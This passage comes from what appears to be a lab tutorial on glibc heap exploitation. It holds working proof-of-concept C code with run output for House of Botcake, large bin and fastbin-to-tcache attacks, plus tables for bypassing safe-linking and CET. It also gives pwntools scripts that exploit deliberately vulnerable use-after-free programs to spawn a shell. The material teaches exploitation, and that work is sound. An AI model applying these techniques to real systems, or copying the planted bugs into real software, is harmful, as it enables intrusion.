malloc(0x10); // Guard against top chunk consolidation
printf("prev: %p\n", prev);
printf("victim: %p\n\n", victim);
// Fill tcache
for(int i = 0; i < 7; i++) free(x[i]);
// Free to unsorted bin (tcache full)
free(victim); // unsorted bin
free(prev); // consolidates with victim!
// Empty one tcache slot
malloc(0x100);
// Free victim AGAIN - goes to tcache (double free!)
// Key: victim is ALSO part of consolidated chunk in unsorted bin
free(victim);
// Allocate from unsorted bin - get consolidated chunk overlapping victim
// Size 0x160 to cover prev chunk + overlap into victim's next ptr
intptr_t *overlapping = malloc(0x160);
printf("overlapping chunk: %p\n", overlapping);
printf("victim tcache entry at: %p\n", victim);
// Calculate offset from overlapping to victim's next pointer
// victim's user data starts at same addr, next ptr is at offset 0
size_t offset = ((char*)victim - (char*)overlapping) / sizeof(intptr_t);
printf("offset to victim: %zu words\n\n", offset);
// Poison victim's next pointer (now accessible via overlapping chunk)
// Account for safe-linking: target ^ (chunk_addr >> 12)
overlapping[offset] = ((long)victim >> 12) ^ (long)stack_var;
// Pop victim from tcache, putting stack_var at head
malloc(0x100);
// Get arbitrary allocation!
intptr_t *target = malloc(0x100);
target[0] = 0xcafebabe;
printf("target @ %p == stack_var @ %p\n", target, stack_var);
printf("stack_var[0] = 0x%lx\n", stack_var[0]);
if (target == stack_var) {
assert(stack_var[0] == 0xcafebabe);
printf("SUCCESS: House of Botcake - wrote 0x%lx to stack!\n", stack_var[0]);
} else {
printf("NOTE: Exploit didn't land on stack (heap layout dependent)\n");
printf(" This demonstrates the technique - adjust offsets for your target\n");
}
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro house_of_botcake.c -o house_of_botcake
./house_of_botcake
Test Results:
Target on stack: 0x7ffe38860b00
prev: 0xcd4aa10
victim: 0xcd4ab20
overlapping chunk: 0xcd4aa10
victim tcache entry at: 0xcd4ab20
offset to victim: 34 words
target @ 0x7ffe38860b00 == stack_var @ 0x7ffe38860b00
stack_var[0] = 0xcafebabe
SUCCESS: House of Botcake - wrote 0xcafebabe to stack!
Attack Success:
0x7ffe38860b00 (16-byte aligned)prev at 0xcd4aa10, victim at 0xcd4ab20
target ^ (victim >> 12) written0xcafebabe written to stack!Why This Works:
// ~/exploit/large_bin_attack.c
// Arbitrary address overwrite with heap pointer
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
size_t target = 0;
printf("Target at %p: %lu\n\n", &target, target);
// Allocate two large chunks (different sizes, same large bin)
size_t *p1 = malloc(0x428); // Larger
malloc(0x18); // Guard
size_t *p2 = malloc(0x418); // Smaller (will be inserted)
malloc(0x18); // Guard
printf("p1 (larger): %p\n", p1-2);
printf("p2 (smaller): %p\n\n", p2-2);
// Free p1 -> unsorted bin
free(p1);
// Allocate larger to move p1 into large bin
malloc(0x438);
// Free p2 -> unsorted bin
free(p2);
printf("State: p1 in largebin, p2 in unsorted bin\n\n");
// VULNERABILITY: Corrupt p1->bk_nextsize
// Glibc doesn't check bk_nextsize if new chunk is smallest
p1[3] = (size_t)((&target)-4);
printf("Corrupted p1->bk_nextsize to target-0x20\n");
// Trigger: allocate larger than p2 to insert p2 into large bin
malloc(0x438);
// Upon insertion: victim->bk_nextsize->fd_nextsize = victim
// This writes &p2 to target!
printf("\nTarget now contains: %p (p2-0x10 = %p)\n",
(void*)target, p2-2);
assert((size_t)(p2-2) == target);
printf("SUCCESS: Large bin attack wrote heap pointer to target!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro large_bin_attack.c -o large_bin_attack
./large_bin_attack
Test Results:
Target at 0x7ffc62e176c0: 0
p1 (larger): 0x1153c290
p2 (smaller): 0x1153c6e0
State: p1 in largebin, p2 in unsorted bin
Corrupted p1->bk_nextsize to target-0x20
Target now contains: 0x1153c6e0 (p2-0x10 = 0x1153c6e0)
SUCCESS: Large bin attack wrote heap pointer to target!
Attack Success:
0x7ffc62e176c0 initially contains 0
p1 at 0x1153c290, p2 at 0x1153c6e0
p1 in largebin, p2 in unsorted binp1->bk_nextsize to point at target-0x20
0x1153c6e0
Why This Works:
p2 inserted into large bin, glibc writes to bk_nextsize->fd_nextsize
bk_nextsize if new chunk is smallestSimilar to unsorted_bin_attack but works with small allocations. When tcache is empty and fastbin has entries, malloc refills tcache from fastbin in reverse order, writing heap pointers to stack.
// ~/exploit/fastbin_reverse_into_tcache.c
// Arbitrary heap pointer write via fastbin->tcache refill
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
// Allocate 14 chunks for later
char* ptrs[14];
for (size_t i = 0; i < 14; i++)
ptrs[i] = malloc(allocsize);
// Fill tcache (7 chunks)
for (size_t i = 0; i < 7; i++)
free(ptrs[i]);
// Next free goes to fastbin (tcache full)
char* victim = ptrs[7];
printf("Victim chunk: %p\n", victim);
free(victim);
// Free 6 more to fastbin
for (size_t i = 8; i < 14; i++)
free(ptrs[i]);
// Target on stack
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf("Stack target: %p (value: %p)\n", &stack_var[2], (void*)stack_var[2]);
// VULNERABILITY: Corrupt victim's fd pointer (safe-linking bypass required)
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
// Empty tcache
for (size_t i = 0; i < 7; i++)
ptrs[i] = malloc(allocsize);
printf("\nBefore trigger - stack contents:\n");
for (size_t i = 0; i < 6; i++)
printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);
// TRIGGER: malloc from fastbin causes reverse refill into tcache
// 7 fastbin chunks copied to tcache, stack addr ends up as tcache entry
malloc(allocsize);
printf("\nAfter trigger - heap pointer written to stack!\n");
for (size_t i = 0; i < 6; i++)
printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);
// Next malloc returns stack address!
char *q = malloc(allocsize);
printf("\nGot stack allocation: %p\n", q);
assert(q == (char *)&stack_var[2]);
printf("SUCCESS: Fastbin reverse into tcache!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_reverse_into_tcache.c -o fastbin_reverse_into_tcache
./fastbin_reverse_into_tcache
Test Results:
Victim chunk: 0x29d2a4d0
Stack target: 0x7ffd808c11c0 (value: 0xcdcdcdcdcdcdcdcd)
Before trigger - stack contents:
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd
After trigger - heap pointer written to stack!
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0x7d60aac11
0x7ffd808c11c8: 0x685b97d2a6aa5329
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd
Got stack allocation: 0x7ffd808c11c0
SUCCESS: Fastbin reverse into tcache!
Attack Success:
0x29d2a4d0, stack target at 0x7ffd808c11c0
0xcdcdcdcdcdcdcdcd pattern0x7ffd808c11c0 and 0x7ffd808c11c8
malloc(allocsize) returned stack address!Why This Works:
Leakless heap exploitation technique by @udp_ctf.
[!IMPORTANT] Key insight: The
tcache_perthread_structmetadata on the heap is NOT protected by safe-linking! This allows manipulation without needing a heap leak first.
House of Water - Leakless tcache metadata control:
1. Create fake 0x10001 header via tcache counts manipulation
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
5. Use the libc pointer leak to complete exploitation
Key Features:
- Leakless (forces program to provide leak during exploitation)
- Requires 4-bit bruteforce × 2 = 1/256 success rate per attempt
- Targets tcache_perthread_struct which lacks safe-linking protection
Requirements:
- Double-free, UAF, or heap overflow
- Precise heap layout control
- Ability to choose where to write within a chunk
Why tcache metadata is vulnerable:
// tcache_perthread_struct is at heap start (after initial malloc)
struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS]; // NOT protected by safe-linking!
tcache_entry *entries[TCACHE_MAX_BINS]; // These ARE protected
};
// Corrupting counts can create fake chunk headers!
Modern House of Orange that doesn't need free()!
House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation
Use when:
- No free() primitive available
- Have heap overflow to corrupt top chunk
- Need heap and address leaks for safe-linking bypass
Bypass safe-linking without a heap leak (4-bit bruteforce):
/* Key insight: (ptr ^ key) ^ key = ptr
* By linking a pointer twice, safe-linking cancels itself out!
* Technique by @udp_ctf - requires tcache metadata control (House of Water)
*
* Steps:
* 1. Get control of tcache metadata (via House of Water or overflow)
* 2. Link target address twice in tcache chain
* 3. Second link cancels XOR of first link
* 4. Only need to bruteforce 4 bits of ASLR
*/
| Technique | Target | glibc Version | Notes |
|---|---|---|---|
| Tcache House of Spirit | Fake chunk in tcache | 2.27-2.41 | No next chunk validation! |
| Tcache Metadata Poison | Direct tcache metadata | 2.27-2.41 | Metadata NOT safe-link protected! |
| House of Spirit (Fastbin) | Fake chunk in fastbin | 2.23-2.41 | Need heap leak for 2.32+ |
| House of Lore | Small bin corruption | 2.23-2.41 | Still works |
| House of Botcake | Tcache + unsorted bin | 2.29-2.41 | Most practical double-free |
| House of Tangerine | sysmalloc _int_free | 2.27-2.41 | No free() needed! |
| House of Einherjar | Backward consolidation | 2.23-2.41 | Needs null byte write |
| House of Water | UAF → tcache metadata ctrl | 2.32-2.41 | Leakless! 1/256 bruteforce |
| House of Gods | Arena hijacking | 2.23-2.26 | Pre-tcache arena corruption |
| House of Mind (Fastbin) | Arena corruption | 2.23-2.41 | Complex arena manipulation |
| House of Force | Top chunk size overwrite | 2.23-2.28 | Patched in 2.29 |
| House of Orange | Unsorted bin + FSOP | 2.23-2.26 | Patched in 2.27 |
glibc Version Eras:
| Era | glibc Versions | Key Features |
|---|---|---|
| Pre-Tcache | 2.23-2.25 | Classic heap, hooks available, no tcache |
| Tcache Era | 2.26-2.31 | Tcache introduced, hooks still work |
| Safe-Linking Era | 2.32-2.33 | Pointer XOR mangling, alignment checks |
| Post-Hooks Era | 2.34+ | __malloc_hook/__free_hook REMOVED |
| Modern Era | 2.38+ | FSOP hardened, enhanced checks |
Learning Path (Recommended Order):
1. Start Easy:
└── Tcache House of Spirit → Tcache Metadata Poisoning
2. Progress to Medium:
└── House of Botcake → House of Tangerine
3. Attempt Hard (after mastering Medium):
└── House of Einherjar → House of Water (leakless!)
Modern Techniques (glibc 2.32+):
House of Botcake - Double-free bypass using tcache + unsorted bin:
1. Fill tcache (7 chunks)
2. Free chunk A into unsorted bin
3. Free chunk B into unsorted bin (consolidates with A)
4. Empty tcache
5. Free chunk B again (goes to tcache, but overlaps with unsorted chunk!)
6. Allocate from unsorted → gives overlapping chunk
7. Overwrite tcache next pointer → arbitrary allocation
House of Water - UAF to tcache metadata control:
1. Create fake 0x10001 header via tcache counts
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation
When to Use Which:
Decision tree for modern heap technique selection:
Do you have a heap leak? (Required for glibc 2.32+)
├── No: Need leak first (info disclosure bug)
└── Yes: Continue...
Do you have a heap overflow?
├── Yes: House of Einherjar, tcache poisoning, House of Tangerine
└── No: Do you have UAF?
├── Yes: House of Botcake (double-free), House of Water (metadata)
└── No: Do you have arbitrary free?
├── Yes: House of Spirit (tcache)
└── No: Do you have OOB read/write only?
├── Yes: House of Tangerine (no free needed!)
└── No: Need to find more bugs
| Protection | glibc Version | Mitigation | Bypass |
|---|---|---|---|
| Tcache double-free key | 2.29+ | Key in freed chunk | House of Botcake, leak key |
| Safe-linking | 2.32+ | XOR pointer mangling | Heap leak, or double-protect |
| Pointer alignment check | 2.32+ | 16-byte alignment required | Craft aligned fake chunk |
| Fastbin fd validation | 2.32+ | Check fd points to valid | Need heap leak |
| Top chunk size check | 2.29+ | Validate top chunk size | House of Tangerine |
| Unsorted bin checks | 2.29+ | bk->fd == victim check | House of Botcake |
| fd pointer validation | 2.32+ | Check fd in expected range | Target must be in heap range |
Recent Vulnerability: Integer overflow in memalign family (glibc 2.30-2.42):
memalign, posix_memalign, aligned_alloc
Checking Protections:
# Check glibc version
ldd --version
# Check specific binary's libc
ldd ./target | grep libc
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# Check exact version for patch level
apt-cache policy libc6 2>/dev/null || rpm -q glibc
Once you have an arbitrary write/allocation primitive from heap exploitation, here's how to achieve code execution on modern systems:
Target Selection (Modern glibc 2.34+):
| Target | RELRO Required | CET Impact | Notes |
|---|---|---|---|
GOT entry (e.g., exit) |
Partial | Bypasses! | Best target if available |
| Function pointer in struct | Any | Bypasses! | Common in heap exploits |
__free_hook |
Any | N/A | REMOVED in glibc 2.34+ |
__malloc_hook |
Any | N/A | REMOVED in glibc 2.34+ |
_IO_list_all (FSOP) |
Any | Complex | Hardened in glibc 2.38+ |
| Return address on stack | Any | Blocked | CET shadow stack prevents |
Best Targets on Modern Systems:
GOT Overwrite (Partial RELRO only):
# Overwrite exit@GOT with one_gadget
target = elf.got['exit']
one_gadget = libc.address + 0xef52b
# Set RBP? Not needed for GOT overwrites!
# The call goes through PLT which is a legitimate indirect call
arbitrary_write(target, one_gadget)
Function Pointer in Heap Object:
# UAF to overwrite callback pointer with win function
# Works even with CET - it's a direct call, not ROP
arbitrary_write(obj_addr + 32, elf.symbols['admin_function'])
Stack Pivot + ROP (if GOT/funptr unavailable):
# Write to stack via heap technique, then ROP
# Need RBP fix for one_gadget!
payload = p64(pop_rbp) + p64(writable + 0x80) + p64(one_gadget)
Why CET Doesn't Block Heap Exploits:
CET (Control-flow Enforcement Technology) blocks:
- ROP chains via corrupted return addresses
- ret2libc via stack buffer overflow
CET does NOT block:
+ GOT overwrites (PLT is legitimate indirect call target)
+ Function pointer overwrites (direct call through pointer)
+ FSOP / file structure attacks
+ one_gadget (internal libc code paths satisfy CET)
This is why heap exploitation remains powerful on modern systems!
Complete Heap-to-Shell Example (Modern glibc):
This complete example demonstrates UAF exploitation with function pointer overwrite - the most reliable technique on modern systems with CET.
Target Program (heap_shell_target.c):
// ~/exploit/heap_shell_target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char data[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *note = NULL;
void normal_func(void) { printf("Normal function called\n"); }
void win_func(void) { printf("WIN! Spawning shell...\n"); system("/bin/sh"); }
void menu(void) {
printf("\n1. alloc 2. free 3. write 4. call 5. exit\n> ");
fflush(stdout);
}
int main(void) {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
menu();
if (read(0, cmd, sizeof(cmd)) <= 0) break;
if (cmd[0] == '1') { // alloc
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("Object @ %p\n", obj);
}
else if (cmd[0] == '2') { // free
if (obj) {
free(obj);
// BUG: dangling pointer!
printf("Freed (but pointer kept)\n");
}
}
else if (cmd[0] == '3') { // write - reclaims freed chunk
note = malloc(sizeof(Object));
printf("data: ");
fflush(stdout);
read(0, note, sizeof(Object));
printf("Note @ %p\n", note);
}
else if (cmd[0] == '4') { // call - UAF trigger
if (obj) {
printf("Calling callback...\n");
obj->callback();
}
}
else if (cmd[0] == '5') break;
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=heap_shell_target.c BINARY=heap_shell_target
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none \
# heap_shell_target.c -o heap_shell_target
Exploit (exploit_heap_shell.py):
#!/usr/bin/env python3
# ~/exploit/exploit_heap_shell.py
"""
Complete UAF-to-shell exploit for modern glibc
Technique: Function pointer overwrite (bypasses CET!)
"""
from pwn import *
binary = './heap_shell_target'
elf = ELF(binary)
context.binary = elf
def alloc(p):
p.sendlineafter(b'> ', b'1')
def free_obj(p):
p.sendlineafter(b'> ', b'2')
def write_note(p, data):
p.sendlineafter(b'> ', b'3')
p.sendafter(b'data: ', data)
def call_obj(p):
p.sendlineafter(b'> ', b'4')
def exploit():
p = process(binary)
# Get win function address
win = elf.symbols['win_func']
log.info(f"win_func @ {hex(win)}")
# Step 1: Allocate object with function pointer
alloc(p)
# Step 2: Free it (creates dangling pointer)
free_obj(p)
# Step 3: Reclaim with controlled data
# Object layout: char data[32] + void (*callback)(void)
payload = b'A' * 32 # Fill data field
payload += p64(win) # Overwrite callback with win_func
write_note(p, payload)
# Step 4: Use dangling pointer - calls our win_func!
call_obj(p)
# Got shell!
p.interactive()
if __name__ == '__main__':
exploit()
Run:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap_shell.py
Test Results:
[+] Starting local process './heap_shell_target': pid 2433
[*] win_func @ 0x4011ac
[*] Switching to interactive mode
Calling callback...
WIN! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './heap_shell_target' (pid 2433)
Exploit Success:
win_func located at static address 0x4011ac (No PIE)WIN! Spawning shell... message confirms successWhy This Works on Modern Systems:
This exploit bypasses modern mitigations:
- NX/DEP: No shellcode needed, we call existing function
- ASLR: No-PIE binary, addresses are fixed
- Stack Canary: No stack overflow, heap corruption only
- CET/IBT: Function pointer call is LEGITIMATE indirect call!
(CET only blocks ROP, not direct function pointer calls)
- Safe-linking: N/A (tcache not used, just UAF spray pattern)
Key insight: CET validates that indirect calls go to valid function
entries (ENDBR64 instructions), but win_func IS a valid function!
Generic Heap-to-Shell Pattern (when you have arbitrary write):
# Once you have arbitrary write primitive from heap corruption:
# Option A: GOT overwrite (Partial RELRO only)
if elf.relro != 'Full':
arbitrary_write(elf.got['exit'], win_addr) # or one_gadget
# Trigger by calling exit()
# Option B: Function pointer overwrite (always works, even with CET!)
else:
# Overwrite callback in struct with win/one_gadget
arbitrary_write(obj_addr + func_ptr_offset, win_addr)
# Trigger by using the object
# Option C: __libc_start_main return address (complex, needs stack addr)
# Option D: TLS/DTV attack (glibc internals, advanced)
With the removal of __malloc_hook and __free_hook in glibc 2.34+, FSOP is the primary method for turning heap primitives into code execution when GOT is not writable (Full RELRO).
The Concept:
glibc uses _IO_FILE structures (like stdin, stdout, stderr) to manage streams. These structures contain a vtable pointer (_IO_file_jumps) that points to a table of function pointers for I/O operations.
_IO_FILE Structure (simplified):
┌────────────────────────────┐
│ _flags │ ← Controls behavior
├────────────────────────────┤
│ _IO_read_ptr │
│ _IO_read_end │
│ _IO_read_base │ ← Buffer pointers
│ _IO_write_base │
│ _IO_write_ptr │
│ _IO_write_end │
├────────────────────────────┤
│ ... │
├────────────────────────────┤
│ _chain │ ← Links to next FILE (linked list)
├────────────────────────────┤
│ _fileno │ ← File descriptor
├────────────────────────────┤
│ ... │
├────────────────────────────┤
│ vtable (8 bytes) │ ← Points to _IO_file_jumps
└────────────────────────────┘
_IO_file_jumps (vtable):
┌────────────────────────────┐
│ __dummy / __dummy2 │
├────────────────────────────┤
│ _IO_finish │ ← Called on fclose/exit
├────────────────────────────┤
│ _IO_overflow │ ← Called when buffer full
├────────────────────────────┤
│ _IO_underflow │
├────────────────────────────┤
│ ... │
└────────────────────────────┘
Classic FSOP Attack (glibc < 2.24):
stdout, stderr, or forge a fake _IO_FILE
exit() (flushes all streams) or any stdio function// Pre-2.24: Direct vtable pointer overwrite
fake_file._IO_jump_t = &fake_vtable;
fake_vtable.__overflow = system;
// Set up _IO_write_ptr > _IO_write_base to trigger overflow
// Point _IO_write_base to "/bin/sh"
Modern FSOP (glibc 2.24+):
glibc 2.24 added _IO_vtable_check() which validates that vtable pointers fall within the legitimate vtable section. Direct fake vtable attacks no longer work.
Bypass via _IO_str_jumps / _IO_wfile_jumps:
The trick is to use legitimate vtables but manipulate FILE struct fields to control what gets called:
Attack Strategy (glibc 2.24-2.37):
1. Set vtable to _IO_str_jumps (legitimate, passes check)
2. Manipulate _IO_buf_base, _IO_buf_end, etc.
3. When _IO_str_overflow is called, it does:
new_buf = malloc(new_size);
memcpy(new_buf, old_buf, old_size);
(*(fp->_IO_str_jumps->_free_buffer))(old_buf) // Call with controlled arg!
4. Forge FILE so _free_buffer call becomes system("/bin/sh")
Why Classic FSOP Fails on Modern glibc (fsop_demo.c):
This demonstrates that direct vtable overwrite FAILS on glibc 2.24+ due to _IO_vtable_check():
// ~/exploit/fsop_demo.c
// Demonstrates that classic FSOP FAILS on modern glibc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win(void) {
printf("WIN! FSOP triggered!\n");
system("/bin/sh");
}
int main() {
printf("=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===\n\n");
printf("stdout @ %p\n", stdout);
printf("win @ %p\n", win);
FILE *fp = stdout;
printf("Original vtable @ %p\n", *(void**)((char*)fp + 0xd8));
// Create fake vtable
void *fake_vtable[30];
memset(fake_vtable, 0, sizeof(fake_vtable));
fake_vtable[3] = (void*)win; // __overflow -> win
// Try to overwrite vtable pointer
printf("\nOverwriting vtable with fake @ %p\n", fake_vtable);
*(void**)((char*)fp + 0xd8) = fake_vtable;
printf("Triggering fflush... (this will crash!)\n");
fflush(stdout); // CRASHES: glibc detects invalid vtable
printf("If you see this, FSOP worked (glibc < 2.24)\n");
return 0;
}
Compile and Run:
cd ~/exploit
gcc -g -O0 -no-pie -fcf-protection=none fsop_demo.c -o fsop_demo
./fsop_demo
Test Results:
=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===
stdout @ 0x776c6a6045c0
win @ 0x401176
Original vtable @ 0x776c6a602030
Overwriting vtable with fake @ 0x7ffe77115fd0
Fatal error: glibc detected an invalid stdio handle
Aborted
Classic FSOP Failure:
stdout at 0x776c6a6045c0, original vtable at 0x776c6a602030 (legitimate)0x7ffe77115fd0 successfully written_IO_vtable_check() detects invalid vtable outside legitimate rangeWhy It Fails:
glibc 2.24+ added _IO_vtable_check():
- Validates vtable pointer falls within legitimate __libc_IO_vtables section
- Fake vtables on stack/heap are OUTSIDE this range → ABORT
This is why we need:
1. Function pointer overwrite (bypasses FSOP entirely)
2. House of Apple/Water (uses legitimate vtables like _IO_wfile_jumps)
3. Techniques that don't rely on fake vtables
Exploit for fsop_target (Function Pointer Overwrite):
Since CET blocks GOT overwrite to system(), we use function pointer overwrite which calls legitimate functions.
Updated target with function pointer (fsop_target.c):
// ~/exploit/fsop_target.c
// Vulnerable program with UAF for function pointer overwrite
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char data[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *note = NULL;
void normal_func(void) { printf("Normal callback\n"); }
void win_func(void) { printf("WIN!\n"); system("/bin/sh"); }
void menu() {
printf("\n1.alloc 2.free 3.write 4.call 5.exit\n> ");
}
int main() {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("win_func @ %p\n", win_func);
while (1) {
menu();
read(0, cmd, sizeof(cmd));
switch(cmd[0]) {
case '1': // alloc
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("Object @ %p\n", obj);
break;
case '2': // free (UAF - keeps dangling pointer!)
if (obj) {
free(obj);
printf("Freed (dangling pointer kept!)\n");
}
break;
case '3': // write - reclaims freed chunk
note = malloc(sizeof(Object));
printf("data: ");
read(0, note, sizeof(Object));
printf("Note @ %p\n", note);
break;
case '4': // call - triggers UAF
if (obj) {
printf("Calling callback...\n");
obj->callback();
}
break;
case '5':
exit(0);
}
}
return 0;
}
Compile:
cd ~/exploit
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
Working Exploit (exploit_fsop.py):
#!/usr/bin/env python3
# ~/exploit/exploit_fsop.py
"""
UAF to function pointer overwrite - bypasses CET!
Target: fsop_target
"""
from pwn import *
context.arch = 'amd64'
binary = './fsop_target'
elf = ELF(binary)
def alloc(p):
p.sendlineafter(b'> ', b'1')
def free_obj(p):
p.sendlineafter(b'> ', b'2')
def write_note(p, data):
p.sendlineafter(b'> ', b'3')
p.sendafter(b'data: ', data)
def call_obj(p):
p.sendlineafter(b'> ', b'4')
def exploit():
p = process(binary)
# Get win function address
win = elf.symbols['win_func']
log.info(f"win_func @ {hex(win)}")
# Step 1: Allocate object with function pointer
alloc(p)
log.success("Allocated object")
# Step 2: Free it (creates dangling pointer)
free_obj(p)
log.success("Freed object (dangling pointer)")
# Step 3: Reclaim with controlled data
# Object layout: char data[32] + void (*callback)(void)
payload = b'A' * 32 # Fill data field
payload += p64(win) # Overwrite callback with win_func
write_note(p, payload)
log.success("Reclaimed chunk with payload")
# Step 4: Use dangling pointer - calls our win_func!
log.success("Triggering callback -> win_func -> shell!")
call_obj(p)
# Got shell!
p.interactive()
if __name__ == '__main__':
exploit()
Compile and Run:
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
python3 exploit_fsop.py
Test Results:
[*] '/home/dev/exploit/fsop_target'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process './fsop_target': pid 2477
[+] win_func @ 0x401230
[*] Allocated object
[*] Freed object (dangling pointer)
[*] Reclaimed chunk with payload
[+] Triggering callback -> win_func -> shell!
[*] Switching to interactive mode
Calling callback...
WIN!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fsop_target' (pid 2477)
Exploit Success - CET Bypassed!:
0x401230 (No PIE)WIN! message and interactive shell with user privilegesWhy This Works While Classic FSOP Fails:
Function Pointer Overwrite vs Classic FSOP:
Function Pointer Overwrite (Working):
+ Direct call through object field
+ Legitimate indirect call - CET allows
+ No vtable validation needed
+ Uses existing program functions
+ Bypasses all modern mitigations
Classic FSOP (Failed):
- Fake vtable on stack/heap
- _IO_vtable_check() aborts on invalid vtable
- Requires legitimate vtable section
- Complex house of apple/water needed
- Outdated technique
Key Insight: On modern systems with CET, function pointer overwrite is superior to FSOP because it uses legitimate indirect calls that CET is designed to allow, while FSOP requires bypassing vtable validation.
Modern Exploitation Decision Tree (glibc 2.39+):
Do you have a heap primitive (UAF/overflow)?
├── Yes: Can you control a function pointer in a struct?
│ ├── Yes: Function pointer overwrite → WORKS! (bypasses CET)
│ └── No: Use House of Water/Tangerine for tcache control
│ → Allocate over struct with function pointer
│ → Overwrite with legitimate function
└── No: Need stronger primitive first
For FSOP specifically (Full RELRO targets):
├── glibc < 2.24: Direct vtable overwrite
├── glibc 2.24-2.37: _IO_str_jumps abuse
├── glibc 2.34-2.38: House of Apple/Emma (wide vtable chain)
└── glibc 2.39+ with CET: Function pointer overwrite preferred
(FSOP techniques may fail due to CET)
Technique Compatibility (Updated for CET):
| Technique | glibc Range | CET Status | Notes |
|---|---|---|---|
| Direct vtable overwrite | < 2.24 | N/A | No vtable check |
_IO_str_jumps abuse |
2.24-2.37 | N/A | Patched in 2.38 |
| House of Apple/Emma | 2.34-2.38 | Blocked | CET blocks gadget calls |
| Function pointer overwrite | All | WORKS | Calls real functions |
| House of Water | 2.32+ | WORKS | Gets tcache control |
| House of Tangerine | 2.27+ | WORKS | No free() needed |
Recommended Approach for Modern Systems:
| Scenario | Recommended Technique |
|---|---|
| CET enabled (2.39+) | Function pointer overwrite via UAF/heap corrupt |
| Full RELRO + CET | House of Water → func ptr overwrite |
| Partial RELRO no CET | GOT overwrite (simpler) |
| Need tcache control | House of Water or House of Tangerine |
Create the target (uaf_challenge.c):
// ~/exploit/uaf_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
void (*greet)(void);
} Person;
void normal_greet() { printf("Hello!\n"); }
void admin_greet() { printf("Admin!\n"); system("/bin/sh"); }
Person *current = NULL;
void create() {
current = malloc(sizeof(Person));
strcpy(current->name, "user");
current->greet = normal_greet;
printf("Created at %p\n", current);
}
void delete_person() {
free(current);
// BUG: current not set to NULL - dangling pointer!
printf("Deleted\n");
}
void greet() {
if (current) current->greet();
}
void edit(char *data) {
// Allocates same size as Person - reclaims freed chunk!
char *buf = malloc(sizeof(Person));
memcpy(buf, data, sizeof(Person));
printf("Edit buffer at %p\n", buf);
}
int main() {
char cmd[100], data[64];
setvbuf(stdout, NULL, _IONBF, 0);
printf("Commands: create, delete, greet, edit\n");
while (fgets(cmd, sizeof(cmd), stdin)) {
if (strncmp(cmd, "create", 6) == 0) create();
else if (strncmp(cmd, "delete", 6) == 0) delete_person();
else if (strncmp(cmd, "greet", 5) == 0) greet();
else if (strncmp(cmd, "edit ", 5) == 0) {
fgets(data, sizeof(data), stdin);
edit(data);
}
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=uaf_challenge.c BINARY=uaf_challenge
